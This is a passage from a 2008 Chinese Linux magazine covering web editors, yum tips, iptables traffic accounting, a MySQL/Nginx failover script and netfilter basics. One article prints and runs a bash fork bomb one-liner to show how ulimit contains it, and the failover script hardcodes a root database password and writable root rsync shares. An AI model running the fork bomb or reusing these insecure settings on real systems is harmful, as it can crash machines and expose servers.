Kdewebdev 软件包里。Quanta 有可见即所得的设计模式和代码编缉模式两种开发模式。它的特点有:
代码标签提示功能,脚本语言的变量自动完成,项目管理,实时预览, PHP 调试器, CVS 的支持。

二、Bluefish

Bluefish,正如其项目主页上描述的那样,是一个功能强大的编缉程。你可以用它来设计网站,编
写脚本和程序代码。Bluefish 支持很多程序语言和标记语言,它最突出的特点在于编缉动态的交互式
网站。


oss.linuxpk.com 2008 年第 12 期 78

经验技巧
三、TinyMCE

TinyMCE(这个应该很多人都认识吧!)是 Tiny Moxiecode ContentEditor 的简称,它是一个


基 于 WEB 的 独 立 开 发 平 台 , 可 以 对 JavaScript/HTML 进 行 可 视 化 编 缉 。 它 是 由
MoxiecodeSystemsAB 在 LGPL 协议下发布的开源软件。TinyMCE 很容易集成到内容管理系统里,如
Mambo、Joomla!、 Drupal、WordPress 和 e107。


oss.linuxpk.com 2008 年第 12 期 79

经验技巧

四、Amaya

Amaya 是一个具有浏览功能的 WEB 开发工具,是由万维网协会(W3C)成员开发的一个网络浏览器,


同时也可以作为对 W3C 成果的测试工具。Amaya 包括了一个 HTML 编辑器和浏览器,用户可以免费到
W3C 的网站下载它,在 linux 和 windows 下都有对应的版本。Amaya 起初只支持 HTML 和 CSS 的编缉,
现在已经添加了对 XML、XHTML、MathML、SVG 等的支持。


oss.linuxpk.com 2008 年第 12 期 80

经验技巧

五、KompoZer

KompoZer 是一个基于 Nvu 的所见即所得的 HTML 编缉器。KompoZer 是 Sourceforge 上的一个


项目,它主要由社区修护。下面是从网络上摘录的关于 KompoZer 功能的介绍:

* 支持所见即所得(WYSIWYG),在我们在制作网页时,更加的直观化,编辑网页就如同打字一样
容易。

* 内建一个 FTP Client,让我们可以很轻易的把编辑好的文件发布到服务器上。登录 FTP


Server 后,还支持在线实时更改页面。

* 可靠的 HTML 原始码,让由 Nvu 所创建出来的网页,可以在当前多数的浏览器上正常运作。制作


网页时,可以使用所见即所得模式或 HTML 原始码编辑模式。

* Tab 功能:可以让我们很迅速的在多个页签间切换,并且编辑这些网页。

* 支持表单、表格、layer 以及网页模版。


oss.linuxpk.com 2008 年第 12 期 81

经验技巧

如何扼制 fork 炸弹
ghosTM55
众所周知,bash 是一款极其强大的 shell,提供了强大的交互与编程功能。这样的一款 shell 中
自然不会缺少“函数”这个元素来帮助程序进行模块化的高效开发与管理。由于其特殊的特性, bash 拥
有了 fork 炸弹。

所谓 fork 炸弹是一种恶意程序,它的内部是一个不断在 fork 进程的无限循环,fork 炸弹并不需


要有特别的权限即可对系统造成破坏。现在来看一个最简单的 fork 炸弹:

:() { :|:& };:

一行看似无法理解的只有 13 个字符的命令,即可占用掉所有系统的资源。其实,这行命令如果这样
写成 bash script 就不难理解了:

:()
{

:|: &
}
;
:

冒号":"其实是函数名,这个 bash 脚本就是在不断的执行该函数,然后不断 fork 出新的进程。那


么,有没有办法扼制这种情况的发生呢?答案是肯定的,只需设置进程的 limit 数即可:

txi@ghosTunix.org:~> ulimit -u
200

使用工具 ulimit 即可设置各种限制数,具体的请参考该工具的 manual page。在这里笔者限制了


max user processes 数为 200,所以,可以安全地执行这个 fork 炸弹了:

txi@ghosTunix.org:~> :() { :|:& };:


[1] 9593
txi@ghosTunix.org:~> bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable


oss.linuxpk.com 2008 年第 12 期 82

经验技巧

使用 yum 只获取 rpm 包不自动安装


ghosTM55
yum 是一个优秀的软件获取与系统更新的工具,主要应用于 redhat 系列的发行版本上。但是这样
一个优秀的工具却没有原生提供只下载不安装的功能,而这样的功能在 pacman 与 aptitude 下都有。
今天在 CentOS 的邮件列表上看到有人在讨论这个问题,了解到了这个问题要解决起来非常方便。

yum 有一个 plugin 叫做 yum-downloadonly,它就可以为用户实现只下载软件包的功能:

# yum install yum-downloadonly

完成安装后,yum 就多了两个命令参数,分别是:

* --downloadonly
* --downloaddir=/path/to/dir

这两个命令参数的含义非常明确,不用多作解释了,这样,用户就可以做到使用 yum 只下载软件包,


不自动安装了。


oss.linuxpk.com 2008 年第 12 期 83

企业应用

Linux 路由器流量统计系统
徐彬 贺蕴普
本文首先概述三种常用的 Linux 路由器计费方式,然后详细介绍 Linux 系统的 Netfilter 包过滤
技术,并在此基础上探讨以 Netfilter 为核心开发的高效、低负载、可扩展的流量统计系统。

一、Linux 路由器的计费方式
由于 Linux 系统的稳定性、可用性越来越高,基于 Linux 系统的路由应用也越来越广泛。无论是对
于纯 IP 转发应用,还是基于 NAT 技术及透明代理技术的 Linux 路由器系统,如何高效、准确地进行计
费都是一个值得研究的课题。

在 Linux 的世界里,解决问题的办法往往不止一种。目前常用的 Linux 路由器计费方式有以下三种:

1. 基于数据链路层的、网络监听模式的计费。
使用专门的网络监听主机,此时主机处于混杂模式(Promiscuous),对流经的数据包进行监听和
计费,监听的主机必须与路由器处在同一个广播段。由于监听高速以太网会产生严重的丢包问题,故此
方法应用并不广泛。

2. 基于 SNMP 技术的计费。
通过在 Linux 路由器上配置 SNMP 代理进行流量统计。此方法应用较为广泛,但 SNMP 代理的安装
会增加路由器的负载,并带来相关的安全性问题。

3. 使用第三方软件,如 xtacacsd 等。
基于 Linux 内核的 Netfilter 技术

Netfilter 是 Linux 下的包过滤软件系统,目的是实现完整的包过滤、防火墙和网络地址翻译


(NAT)等功能。其原理基于检查数据包的头部,并根据规则进行处理,实现数据包的控制、安全、伪装、
分割管理。具体实现是通过加载内核模块 iptables_filter.o 和命令 iptables 来操作。


oss.linuxpk.com 2008 年第 12 期 84

企业应用

表一
Netfilter 内建三个表,其功能如表 1 所示。

默认情况下,数据包从某网络进入 Linux 路由器所经过的 Netfilter 过程如图 1 所示。

插图 1


oss.linuxpk.com 2008 年第 12 期 85

企业应用
1.当一个数据包进入(如网络 1),内核首先检查包的目的地(路由决策)。

2.如果它是进入本机的,包会向图的下方移动,到达 INPUT 链。在这里,任何等待该包的进程都


会收到它。

3.否则,如果内核未被允许转发,或者不知道如何转发该包,它就会被丢弃。如果允许转发,而且
包的目的地是另一个网络接口(如网络 2),那么包继续向图的下边行进,到达 FORWARD 链。如果策略
允许通过(ACCEPT),它将被送出。

4 . 服 务 器 上 的 进 程 也 可 以 发 送 网 络 包 , 这 些 包 直 接 通 过 OUTPUT 链 发 送 , 如 果 被 允 许
(ACCEPT),那么该包继续向可到达其目的地的网络接口发送。

“nat 表”管理网络地址翻译,其中 PREROUTING 链可定义进行目的地址 NAT 的规则。因为路由器


进行路由时只检查数据包的目的 IP 地址,所以为了使数据包能正确路由,必须在路由之前就进行目的
NAT。POSTROUTING 链用来定义进行源地址 NAT 的规则,系统在决定数据包的路由以后才执行该链中的
规则。OUTPUT 链定义对本地产生的数据包的目的地址 NAT 规则。

除了内建链,Netfilter 还支持用户自建链,支持更复杂、功能更强的应用。

二、计费规则
根据 Netfilter 可扩展表链的特性,可以通过自定义链来实现对数据包的流量计费。从网络管理的
角度考虑,需要关注的流量一般是总流入流出及一些基本的网络应用流量,如 FTP、WWW、SMTP、POP
等,更多的监控可以根据需要添加。

iptables 的流量计费功能在同一链内只能实现一次,因此自定义表必须精心设计,保证目标数据
包经过计费链。首先建立用户自定义表 ACC-IN、ACC-OUT、ACC-OUT-SMTP、ACC-IN-POP3、ACC-
IN-WWW、ACC-IN-FTP。

对于 Linux 路由器,往往需要实现 IP 伪装与透明代理,其计费链与传统的包转发路由器有所不同。


对于 IP 伪装(网络地址翻译),第一个分组 IP 包经过 PREROUTING(nat)链,此后所有的 IP 包均经
过 FORWARD(filter)链,因此实际上对 NAT 的计费是在 FORWARD 链上完成的。对于透明代理,其实
质是将用户 HTTP 的 80 端口请求转发到代理服务进程,如果代理服务进程在本地,则相应的流量发生在
本地的 OUTPUT 链。


oss.linuxpk.com 2008 年第 12 期 86

企业应用

图2
流入量统计的 iptables 表与用户自定义表的顺序关系如图 2。

如图 2 所示,每一个流入的 IP 包都会遍历所有的计费链,流出图与之类似。如果 IP 包符合计费规


则,则 iptables 记数,相应的规则如表 2 示。

表2
◆ 对于总流入,由于是在本地网络流入计费,所以本地的 TCP 流量可以忽略,相应的规则如下
(eth0 为内网网卡,内网为 10.0.0.0/24):

#iptables -A FORWARD -o eth0 -s ! 10.0.0.0/24 -s *.*.*.* -j ACC-IN

◆ FTP 流量包括 20、21 端口,由于 21 端口只负责 FTP 控制信令传送,故只需对负责数据传送的


20 端口计费即可:

#iptables -A ACC-IN -o eth0 -p tcp --source-port 20 -d *.*.*.* -j ACC-IN-FTP

◆ WWW 流量如果不设置透明代理,则计费发生在 FORWARD 链:

iptables -A ACC-IN -o eth0 -p tcp --source-port 80 -d *.*.*.* -j ACC-IN-WWW

◆ 对于使用透明代理的流量,计费发生在 OUTPUT 链(其中 10.x.x.x 为内网 IP,X 为代理进程的

oss.linuxpk.com 开开
源 2008 年第 12 期 87

企业应用
端口号):

iptables -A OUTPUT -o eth0 -p tcp -s 10.x.x.x --source-port x -d *.*.*.* -j ACC-IN-


WWW

其它协议的计费方式类似。对于任意的 TCP 及 UDP 协议,只要知道服务端口号,都可以进行计费。

实际的计费规则采用 PERL 自动生成。首先生成需要计费的 IP 地址列表文件,然后通过 PERL 程序


读取该文件并自动生成计费规则。程序示例如下:

sub set_iptables_rules{
my(@mylist)=@_;

open (FILE,$mylist[0]); #读取配置文件


@lines=<FILE>;
close FILE;
foreach $address(@lines)
{

chomp($address); #处理配置文件
@address_var=split(/ +/,$address);

#根据配置文件生成计费规则
`$iptables $mylist[2] FORWARD -i $local_nic -s $address_var[0] -d ! $local_net -j
ACC-OUT`;
`$iptables $mylist[2] ACC-OUT -i $local_nic -p tcp -s $address_var[0] --dport 25 -j
ACC-OUT-SMTP`;
...... }
}

Linux 路由器的防火墙规则也基于 iptables 进行设置,主要是针对 INPUT 链和 FORWARD 链。计


费规则也使用了 iptables 的系统默认链 FORWARD 和 OUTPUT,与防火墙设置的 FORWARD 链上出现重
叠。因此要保证在 FORWARD 链上的计费规则必须先于防火墙规则,才能使计费规则与防火墙规则同时发
生作用。

三、系统结构
整个流量计费系统的结构如图 3 示,数据包流经 Linux 路由器并被计费;统计数据送入数据库;用
户通过前端界面查询流量,同时可对计费规则进行监控和管理。


oss.linuxpk.com 2008 年第 12 期 88

企业应用

图 3 系统结构示意图

系统的后台程序

iptables 的计数功能仅仅提供了简单的流量显示,使用参数 iptables -nvxL 可得到更多的流量


详细数据。例如:

Chain FORWARD (policy ACCEPT 28951 packets, 18212425 bytes)

pkts bytes target prot opt in out source destination

116 8465 ACC-OUT all -- eth0 * 10.2.229.2 !10.0.0.0/8

134 59582 ACC-IN all -- * eth0 !10.0.0.0/8 10.2.229.2

一个切实可用的计费系统需要数据库的支持,并提供友好的查询界面,必须在后台对 iptables 提
供的数据进行处理,并且输入至数据库。使用 PERL 语言的正则表达式,可以对 iptables 输出的数据
进行处理,以选取需要的数据段。对于每一行数据都要提取流量及 IP 地址,所以要对目的数据段用正则
表达式进行处理:

for ($i=0;$i<=$count;$i++)
{$lines_in[$i]=~/^\s+\d+\s+(\d+)\s+(\D+\d)\s+(\W\d+\.\d+\.\d+\.\d+\/\d+)
(\d+\.\d+\.\d+\.\d+).*$/;

$ac_ip=$4;

$ac_in=$1; #读取 IP 地址与总流量

......

#将流量记录输入至数据库
$sth = $dbh->do ("INSERT INTO $mysql_table_name
(date,ip,acc_in,acc_out,acc_in_ftp,acc_in_pop3,acc_in_www,acc_out _smtp) VALUES
('$date','$ac_ip','$ac_in','$ac_out','
$ac_in_ftp','$ac_in_pop3','$ac_in_www','$ac_out_smtp')"); }

计费周期可根据需要选择,但必须兼顾存储量与效率。这里计费周期选取为 24 小时,即设定系统的
crontab,定时每天执行后台程序将流量输入数据库。计费完成后将流量记数器清零:


oss.linuxpk.com 2008 年第 12 期 89

企业应用
#iptables -Z FORWARD

计费后台程序由于采用 PERL 语言编写,程序紧凑高效,与 SNMP 计费方式相比,实现方法简单,可


定制性强,而且每天执行一次,对 Linux 路由器没有增加额外的负载。

数据库与前端实现

由于 Linux 路由器承担大量用户的 IP 包转发任务,负载较重,为了避免对其性能的影响,后台数


据库不设置在本地,而采用多台路由器使用同一后台 MySQL 数据库来进行管理。

前台查询界面则可采用 PHP 语言编写,提供给用户日流量、月流量、年流量的查询,同时可对计费


策略进行监控和管理,如图 4 示。

图 4 用户查询界面

本计费系统由于基于 Netfilter 技术,实现简单、高效,对系统的性能影响不大,同时保持了良好


的可扩充能力,在实际的应用过程中能够根据用户的需要增加计费类型,是一个高效、低负载、可扩展
的 Linux 路由器流量统计系统。


oss.linuxpk.com 2008 年第 12 期 90

企业应用

Nginx+PHP+MySQL 双机互备
全自动切换方案
张宴
在生产应用中,某台“Nginx+PHP+MySQL”接口数据服务器,扮演的角色十分重要,如果服务器硬
件或 Nginx、MySQL 发生故障,而短时间内无法恢复,后果将非常严重。为了避免单点故障,我设计了
此套方案,编写了 failover.sh 脚本,实现了双机互备、全自动切换,故障转移时间只需几十秒。

双机互备、全自动切换方案:

1、拓扑图

2、解释

(1)、假设外网域名 blog.s135.com 解析到外网虚拟 IP 72.249.146.214 上,内网 hosts 设


置 db10 对应内网虚拟 IP 192.168.146.214。

(2)、默认情况下,由主机绑定内、外网虚拟 IP,备机作为备份,当主机的 MySQL、Nginx 或服务


器出现故障无法访问时,备机会自动接管内、外网虚拟 IP。两台服务器都启动负责监控、自动切换虚拟
IP 的 守 护 进 程 /usr/bin/nohup /bin/sh /usr/local/webserver/failover/failover.sh


oss.linuxpk.com 2008 年第 12 期 91

企业应用
2>&1 > /dev/null &。

(3)、主机和备机上的 MySQL 服务器互为主从,互相同步。在主机处于活动状态(即由主机绑定虚


拟 IP)时,读写主机的 MySQL,写到主机的数据会同步到备机;在备机处于活动状态时,读写备机的
MySQL,写到备机的数据会同步到主机(如果主机上的 MySQL 死掉暂时无法同步,主机上的 MySQL 恢复
后,数据会自动从备机上同步过来,反之亦然)。

(4)、主机处于活动状态时,每 20 秒会把 /data0/htdocs/(网页、程序、图片存放目录) 、


/usr/local/webserver/php/etc/ ( php.ini 等 配 置 文 件 目 录 ) 、
/usr/local/webserver/nginx/conf/(Nginx 配置文件目录)三个目录下的文件通过 rsync 推送
到备机服务器上的对应目录(增量推送,两台服务器上一样的文件不会重复推送),反之如果备机处于
活 动 状 态 时 , 每 20 秒 会 尝 试 把 文 件 推 送 到 主 机 。 rsync 的 配 置 文 件 见 两 台 服 务 器
的/etc/rsyncd.conf,rsync 守护进程的启动命令为 rsync --daemon。

3、自动切换流程

(1)、主机默认绑定内、外网虚拟 IP,当主机的 MySQL、Nginx 无法访问或服务器宕机,主机上的


failover.sh 守护进程会自动摘除自己绑定的内、外网虚拟 IP(如果主机上的 failover.sh 死掉,
无法摘除自己绑定的虚拟 IP 也没关系),备机上的 failover.sh 守护进程会自动接管备机原来绑定的
内、外网虚拟 IP,并发送 ARPing 包给内、外网网关更新 MAC,强行接管。

(2)、备机绑定虚拟 IP 后,会发送 ARPing 包给内、外网网关,通知网关更新虚拟 IP 的 MAC 地址


为备机的 MAC 地址,从而保证了切换后能够通过虚拟 IP 及时访问到备机。

(3)、如果主机的 MySQL、Nginx 启动起来,全部恢复正常访问,主机上的 failover.sh 守护进


程会检测主机上的 MySQL 数据是否已经完全从备机上同步过来。如果同步延迟时间为 0,主机会自动接
管内、外网虚拟 IP,并发送 ARPing 包给内、外网网关,而备机也会自动摘除内、外网虚拟 IP。

(4)、整个切换流程均由 failover.sh 自动完成,无需人工处理。

4、注意事项(很重要):

(1)、crontab 里的文件没有做自动同步,如果修改,需要手工在两台服务器上都做修改。

(2)、/data0/htdocs/目录内任何用 ln -s 建立的软连接,rsync 不会自动同步,如果在一台服


务器上建了软连接,需要手工在另外一台服务器上也建相同的软连接。

(3)、如果要删除/data0/htdocs/目录内的某些文件或目录,需要先删除处于活动状态(即绑定
了虚拟 IP)服务器上的文件或目录,再删除处于备用状态服务器上的文件或目录。

(4)、除了/data0/htdocs/(网页、程序、图片存放目录)、
/usr/local/webserver/php/etc/(php.ini 等配置文件目录)、


oss.linuxpk.com 2008 年第 12 期 92

企业应用
/usr/local/webserver/nginx/conf/(Nginx 配置文件目录)三个目录之外的其他配置修改,需
要在两台服务器上都做修改。

配置文档与脚本

1、主机、备机两台服务器的 rsync 配置(配置相同)

(1)、rsync 配置文件

vi /etc/rsyncd.conf

输入一些内容并保存:

uid = root
gid = root
use chroot = no
max connections = 20
pid file = /var/run/rsyncd.pid
lock file = /var/run/rsync.lock
log file = /var/log/rsyncd.log
[data0_htdocs]
path = /data0/htdocs/
ignore errors
read only = no
hosts allow = 192.168.146.0/24
hosts deny = 0.0.0.0/32

[php_etc]
path = /usr/local/webserver/php/etc/
ignore errors
read only = no
hosts allow = 192.168.146.0/24
hosts deny = 0.0.0.0/32

[nginx_conf]
path = /usr/local/webserver/nginx/conf/
ignore errors
read only = no
hosts allow = 192.168.146.0/24
hosts deny = 0.0.0.0/32


oss.linuxpk.com 2008 年第 12 期 93

企业应用
(2)、启动 rsync 守护进程

/usr/bin/rsync --daemon

2、两台 MySQL 互为主从的配置

这里就不详细写出互为主从的配置过程了,如果不懂的朋友可以在 Google 上搜一下。有一点需要


指出,my.cnf 配置文件中请加上 skip-name-resolve 参数,使用 IP 来进行 MySQL 帐号验证。

3、主机、备机两台服务器负载监控、虚拟 IP 自动切换的 failover.sh 守护进程

(1) 、 启 动 failover.sh 守 护 进 程 ( 为 了 开 机 能 够 自 动 运 行 , 请 将 以 下 语 句 添 加
到/etc/rc.local 文件中):

/usr/bin/nohup /bin/sh /usr/local/webserver/failover/failover.sh 2>&1 > /dev/null &

(2)、停止 failover.sh 守护进程:

ps -ef | grep failover.sh

会显示以下信息:

    root 15428 1 0 Nov17 ? 00:00:03 /bin/sh


/usr/local/webserver/failover/failover.sh

  root 20123 6878 0 16:16 pts/2 00:00:00 grep failover.sh

然后杀死 failover.sh 的进程:

kill -9 15428

(3) 、 failover.sh 代 码 内 容 ( 请 注 意 其 中 的 type 设 置 , 主 机 设 为 master , 备 机 设 为


slave):

#!/bin/sh
LANG=C
date=$(date -d "today" +"%Y-%m-%d %H:%M:%S")


oss.linuxpk.com 2008 年第 12 期 94

企业应用
#---------------配置信息(开始)---------------

#类型:主机设为 master,备机设为 slave


type="master"

#主机、备机切换日志路径
logfile="/var/log/failover.log"

#MySQL 可执行文件地址,例如/usr/local/mysql/bin/mysql;MySQL 用户名;密码;端口


mysql_bin="/usr/local/webserver/mysql/bin/mysql"
mysql_username="root"
mysql_password="123456"
mysql_port="3306"

#内网网关
gateway_eth0="192.168.146.1"

#主机内网真实 IP
rip_eth0_master="192.168.146.213"

#备机内网真实 IP
rip_eth0_slave="192.168.146.215"

#主机、备机内网共用的虚拟 IP
vip_eth0_share="192.168.113.214"

#外网网关
gateway_eth1="72.249.146.193"

#主机外网真实 IP
rip_eth1_master="72.249.146.213"

#备机外网真实 IP
rip_eth1_slave="72.249.146.215"


oss.linuxpk.com 2008 年第 12 期 95

企业应用

#主机、备机外网共用的虚拟 IP
vip_eth1_share="72.249.146.214"

#---------------配置信息(结束)---------------

#绑定内、外网虚拟 IP
function_bind_vip()
{

/sbin/ifconfig eth0:vip ${vip_eth0_share} broadcast ${vip_eth0_share} netmask


255.255.255.255 up

/sbin/route add -host ${vip_eth0_share} dev eth0:vip

/sbin/ifconfig eth1:vip ${vip_eth1_share} broadcast ${vip_eth1_share} netmask


255.255.255.255 up

/sbin/route add -host ${vip_eth1_share} dev eth1:vip

/usr/local/webserver/php/sbin/php-fpm reload

kill -USR1 `cat /usr/local/webserver/nginx/logs/nginx.pid`

/sbin/service crond start


}

#解除内、外网虚拟 IP
function_remove_vip()
{

/sbin/ifconfig eth0:vip ${vip_eth0_share} broadcast ${vip_eth0_share} netmask


255.255.255.255 down

/sbin/ifconfig eth1:vip ${vip_eth1_share} broadcast ${vip_eth1_share} netmask


255.255.255.255 down

/sbin/service crond stop


}

#主机向备机推送文件的函数
function_rsync_master_to_slave()
{

/usr/bin/rsync -zrtuog /data0/htdocs/ ${rip_eth0_slave}::data0_htdocs/ > /dev/null


2>&1


oss.linuxpk.com 2008 年第 12 期 96

企业应用
/usr/bin/rsync -zrtuog /usr/local/webserver/php/etc/ ${rip_eth0_slave}::php_etc/ >
/dev/null 2>&1

/usr/bin/rsync -zrtuog /usr/local/webserver/nginx/conf/ $


{rip_eth0_slave}::nginx_conf/ > /dev/null 2>&1
}

#备机向主机推送文件的函数
function_rsync_slave_to_master()
{

/usr/bin/rsync -zrtuog /data0/htdocs/ ${rip_eth0_master}::data0_htdocs/ >


/dev/null 2>&1

/usr/bin/rsync -zrtuog /usr/local/webserver/php/etc/ ${rip_eth0_master}::php_etc/


> /dev/null 2>&1

/usr/bin/rsync -zrtuog /usr/local/webserver/nginx/conf/ $


{rip_eth0_master}::nginx_conf/ > /dev/null 2>&1
}

#虚拟 IP ARPing
function_vip_arping()
{

/sbin/arping -I eth0 -c 3 -s ${vip_eth0_share} ${gateway_eth0} > /dev/null 2>&1

/sbin/arping -I eth1 -c 3 -s ${vip_eth1_share} ${gateway_eth1} > /dev/null 2>&1


}

while true
do

#用 HTTP 协议检查虚拟 IP

if (curl -m 30 -G http://${vip_eth1_share}/ > /dev/null 2>&1) && (${mysql_bin} -


u"${mysql_username}" -p"${mysql_password}" -P"${mysql_port}" -h"${vip_eth0_share}"
-e"show slave status\G" > /dev/null 2>&1)

then

#取得与内网 VIP 绑定的服务器内网 IP

eth0_active_server=$(${mysql_bin} -u"${mysql_username}" -p"${mysql_password}" -P"$


{mysql_port}" -h"${vip_eth0_share}" -e"show slave status\G" &#124; grep
"Master_Host" &#124; awk -F ': ' '{printf $2}')


oss.linuxpk.com 2008 年第 12 期 97

企业应用
#如果内网 VIP=主机内网 IP(主机 MySQL 中的 Master_Host 显示的是备机的域名或 IP),且本机为主机

if [ "${eth0_active_server}" = "${rip_eth0_slave}" ] && [ "${type}" = "master" ]

then

function_rsync_master_to_slave

function_vip_arping

#如果内网 VIP=备机内网 IP(备机 MySQL 中的 Master_Host 显示的是主机的域名或 IP)

elif [ "${eth0_active_server}" = "${rip_eth0_master}" ]

then

if (curl -m 30 -G http://${rip_eth1_master}/ > /dev/null 2>&1) && (${mysql_bin} -


u"${mysql_username}" -p"${mysql_password}" -P"${mysql_port}" -h"${rip_eth0_master}"
-e"show slave status\G" &#124; grep "Seconds_Behind_Master: 0" > /dev/null 2>&1)

then

#如果主机能够访问,数据库同步无延迟,且本机就是主机,那么由本机绑定虚拟 IP

if [ "${type}" = "master" ]

then

#如果本机为主机

function_bind_vip

function_vip_arping

echo "${date} 主机已绑定虚拟 IP!(Type:1)" >> ${logfile}

else

#如果本机为备机

function_remove_vip

echo "${date} 备机已去除虚拟 IP!(Type:2)" >> ${logfile}

fi

else

if [ "${type}" = "slave" ]

then

#如果本机为备机

function_rsync_slave_to_master

function_vip_arping


oss.linuxpk.com 2008 年第 12 期 98

企业应用
fi

fi

fi

else

#虚拟 IP 无法访问时,判断主机能否访问

if (curl -m 30 -G http://${rip_eth1_master}/ > /dev/null 2>&1) && (${mysql_bin}


-u"${mysql_username}" -p"${mysql_password}" -P"${mysql_port}" -h"$
{rip_eth0_master}" -e"show slave status\G" > /dev/null 2>&1)

then

#如果主机能够访问,且本机就是主机,那么由本机绑定虚拟 IP

if [ "${type}" = "master" ]

then

function_bind_vip

function_vip_arping

echo "${date} 主机已绑定虚拟 IP!(Type:3)" >> ${logfile}

else

function_remove_vip

echo "${date} 备机已去除虚拟 IP!(Type:4)" >> ${logfile}

fi

elif (curl -m 30 -G http://${rip_eth1_slave}/ > /dev/null 2>&1) && (${mysql_bin} -


u"${mysql_username}" -p"${mysql_password}" -P"${mysql_port}" -h"${rip_eth0_slave}"
-e"show slave status\G" > /dev/null 2>&1)

then

#如果主机不能访问而备机能够访问,且本机就是备机,那么由备机绑定虚拟 IP

if [ "${type}" = "slave" ]

then

function_bind_vip

function_vip_arping

echo "${date} 备机已绑定虚拟 IP!(Type:5)" >> ${logfile}

else

function_remove_vip


oss.linuxpk.com 2008 年第 12 期 99

企业应用
echo "${date} 主机已去除虚拟 IP!(Type:6)" >> ${logfile}

fi

else

echo "${date} 主机、备机全部无法访问!(Type:7)" >> ${logfile}

fi

fi

#每次循环暂停 20 秒(即间隔 20 秒检测一次)

sleep 20
done

Linux 系统内核防火墙研究及应用
刘云红
随着 Internet 的迅速发展和普及,网络在给用户提供方便的同时,也给了恶意攻击者提供了非法
入侵商用系统的媒介,因此,保证应用服务器的安全成为困扰系统管理员的一个难题。目前市场上有许
多商业防火墙,可以有效地抵挡恶意攻击;但它们价格昂贵,对于很多网络安全经费不足的高校、企事
业单位就不一定很合适。

Linux 操作系统以其开放源码、高性能和高可靠性等诸多优势在商业服务器和个人桌面系统中得到
日益广泛的应用。为了解决 Linux 系统安全问题,Linux 内核的开发团队中逐步形成了专门的内核防火
墙开发小组,并随着 Linux 内核版本升级不断推陈出新。最早的 Linux 下的 IP 防火墙出现在 1.1 系列
内核中,它是由 Alan Cox 从 FreeBSD 系统的 IPFW 防火墙移植到 Linux 中来的。2.0 系列内核中的
IPFWadm 由 Jos Vos 等人进行了改进和增强。到了 2.2.X 内核发布时,IPchains 和单独开发的 AT
等模块已经可以比较完整地实现内核级的 IP 防火墙的功能。但是由于没有充分考虑到扩展性和维护性问
题,因此后续开发比较困难。Rusty Rttssell 领导的 Linux 内核 IP 防火墙项目小组在 2.3.x 以后
的开发过程中,总结了以往的开发经验,逐步形成了抽象、通用化的可扩展防火墙核心框架——
netfilter。

在经历了 Linux 2.5 和 2.6 的发展以后,的确可以说 netfilter/iptables 经受住了大量用户


广泛使用的考验,得到了广泛认可。因此,研究如何基于 netfilter/iptables 构建满足自己实际需
求的防火墙,具有一定的实际意义。


oss.linuxpk.com
源 2008 年第 12 期 100
企业应用
一、防火墙分类
随着技术的发展,防火墙的技术也在不断发展,到今天,防火墙的分类和功能也在不断细化,但总
的来说,可以分为包过滤防火墙和应用级防火墙两大类。

1、包过滤型防火墙
包过滤型防火墙又叫网络级防火墙。它是通过检查单个包的地址、协议、端口等信息来决定是否允
许此数据包通过。路由器便是一个“传统”的网络级防火墙。

防火墙可提供内部信息以说明所通过的连接状态和一些数据流的内容,把判断的信息同规则表进行
比较,在规则表中定义了各种规则来表明是否同意或拒绝包的通过。包过滤防火墙检查每一条规则直至
发现包中的信息与某规则相符。如没有一条规则能符合,防火墙就会使用默认规则,默认规则就是要求
防火墙丢弃该包。其次,通过定义基于 TCP 或 UDP 数据包的端口号,防火墙能够判断是否允许建立特定
的连接,如 Telnet、FTP 连接。

网络级防火墙简洁、速度快、费用低,并且对用户透明,但是对网络的保护很有限,因为它只检查
地址和端口,对网络更高协议层的信息无理解能力。

2、应用级防火墙
应用级防火墙主要工作在应用层。应用级防火墙往往又称为应用级网关,它此时也起到一个网关的
作用。应用级防火墙检查进出的数据包,通过自身(网关)复制传递数据,防止在受信主机与非受信主机
间直接建立联系。应用级防火墙能够理解应用层上的协议,能够做复杂一些的访问控制,并做精细的注
册和审核。其基本工作过程是:当客户机需要使用服务器上的数据时,首先将数据请求发给代理服务器
代理服务器再根据这一请求向服务器索取数据,然后再由代理服务器将数据传输给客户机。由于外部系
统与内部服务器之间没有直接的数据通道,外部的恶意侵害也就很难伤害到内网。

常用应用级防火墙已有了相应的代理服务软件,如 HTTP、SMTP、FTP、Telnet 等等,但是对于新


开发的应用,尚没有相应的代理服务,它们将通过网络级防火墙和一般的代理服务(如 sock 代理)。显
然可知,应用级防火墙每一种协议需要相应的代理软件,使用时工作量大,效率明显不如网络级防火墙

在现在的防火墙分类中,还有电路级网关、规则过滤防火墙、监测型防火墙等等,但这些只是以上
两大种防火墙中某一种技术上具体实现时的一种说法或者是两种防火墙的融合。


oss.linuxpk.com
源 2008 年第 12 期 101
企业应用
Netfilter 框架原理
Netfilter 是一种内核中用户扩展各种网络服务的结构化底层框架,它的设计思想是生成一个模块
结构使之能够比较容易的扩展。新的特性可以直接加入到内核中,并且不需要重新启动内核。这样就大
大地加强了内核的网络新特性的扩展。Netfilter/Iptables 系统采用模块化的架构方式,其主要模
块有:通用框架 Netfilter、数据包选择系统、连接跟踪系统及 NAT 系统等等。

Netfilter 是 Linux2.4 内核中实现包过滤、NAT 和包处理等功能的框架。它比以前任何一版的


Linux 内核的防火墙子系统都要完善强大,提供了一个抽象、通用化的框架,包含以下 3 部分:

Netfilter 框架包含以下 3 部分:

1、在 Linux 内核的传输数据报的协议表中,每种网络协议(IPv4、IPv6 等)定义一套确定的钩子


函数(IPv4 定义了 5 个钩子函数),这些钩子函数在数据包流过协议栈的几个关键点时被调用在这几个点
中,协议栈将数据包及钩子函数标号作为参数来调用 Netfilter 框架。

2、内核的任何模块都可以对每种协议的一个或多个钩子进行注册,实现挂接。这样当某个数据包被
传递给 Netfilter 框架时,内核能检测是否有任何模块对该协议和钩子函数进行了注册。若注册了,则
调用该模块注册时使用回调函数。这样这些模块就有可能检查、修改、丢弃该数据包或指示 Netfilter
将该数据包传入用户空间的队列。

3、传递给用户空间的数据包队列是异步地进行处理。一个用户进程能检查数据包,修改数据包,甚
至可以重新将该数据包通过离开内核的同一个钩子函数中注入到内核中。

Netfilter 摒弃了 IPchains 不区分数据包是单纯的进入包或外出包和中转包的做法。“input”


链只处理目的地是该主机的数据包。“forward”只处理在该主机进行中转的数据包。“output” 链只
处理由该主机发出的数据包。这个修改使许多防火墙配置大大简化了。Netfilter 框架示意图如图 1 所
示。

图 1 Nefilter 框架示意图

Linux2.4 内核的防火墙框架 Netfilter 在 IP 层提供了五个插入点(hook 函数)。分别为:

